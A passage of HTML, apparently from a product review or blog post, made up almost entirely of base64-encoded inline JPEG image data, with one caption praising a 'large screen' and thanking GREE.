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" width="320" /><br />
<br />
<br />
4) Large screen (very nice, thanks GREE!) <br />
<img alt="" height="239" src="data:;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAMCAggICAgICAgICAgICAgICAgICAgICAgICAcIBwcICAgICAgICAgHBwgHBwoICAgICQkJBwgLDQoIDAcICQgBAwQEBgUGCgYGCggMCAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICP/AABEIAlcDHwMBIgACEQEDEQH/xAAdAAACAgMBAQEAAAAAAAAAAAABAgADBAUGBwgJ/8QAYxAAAQMCAwEKBgoMCQsEAQQDAQACAwQRBRIhMQYTIkFRYXGBkbEHIzJygqEUFTNCUmKSssHRCCQ0Q0RTY3OiwtPwVGR0k5TD0tThFiVFg4Sjs8Ti4/E1VbTkpGV1lcUJGEb/xAAaAQEBAQEBAQEAAAAAAAAAAAAAAQIEAwUG/8QAOREBAAECAwYFAgUEAQMFAAAAAAECEQMhMQQSQVGB8BMyYXGRItEFQqGxwRSC4fEzFXKyIyQ0UmL/2gAMAwEAAhEDEQA/APk1oTAJQU7T+/rXhq2l0wCjQnKAlQBK0J2lEFvEP35FYAksoSqpwE6qMixJcYjb7655BqewXS6Ni0oAWWr9nSv8iK3PJoOW4HlHiRZhcjvdJCPix8Edu0dqGjMnxBjPKcB1/vdY3tu5/ucbnDlPBb2n6llU+Exs2NF+U8I+tZvMlku1MeHzP8p4jHIwXPabeoK+Hc/GNSC88riT2DYOxbFBz0RU6hYRYtbbmCxzhdtWOLeY8JvYfoWdmUzIMD2Q9vlsJtxs1HYdbLIhr2uHBI6Nh7Dqrs6w6mnY7aNeXYe0KXIhlb6oXrTytezyX3HwX6/pDXtuseTGreW0tPKNQev6wFJlqzfGTRUvqBZab25v5OvQUoke/wAkHsWbt7stu+sssV+JIwYBK7U6Dj5O3Z3I+1kLPKkBPxeEfVcDrIWd5uKGE/Er/wCCkMUjzoDzLONfG3yIybcbyB6m3+cg/GZTsIYPiNDfX5XrUu3aIJHuff79waDymw7SrDR07Nrs5+KL+s2b2ErDcCdXEk8pJJ7TcotiUm63ZwxVrfIiGnG/U9YaR84qqTFZT78gfF4PzbH1qiwUzKJeZLvd+dNvaBkSmREOLIl6pzqXSyXWZ0rpEoKIatWLjmQLkzIyeIqwwnabDpKtkmVKllTUYrCzR0lzyN17rn1LFfujH3uJxPK6zR67n1K7ss3bNuvEU+8rSmuqH7C1g5tT2mw/RS+0zneW97ua9h2Cw9SuRm2k2IRM8qQX5ARfs2+pYkm6Nmxkb39WUdpI7k1NgbBsaFmsoAl4LNU/Fqh3ktYz1n6AqzQyv8uR5HIOCP0V1+GblJ5fc4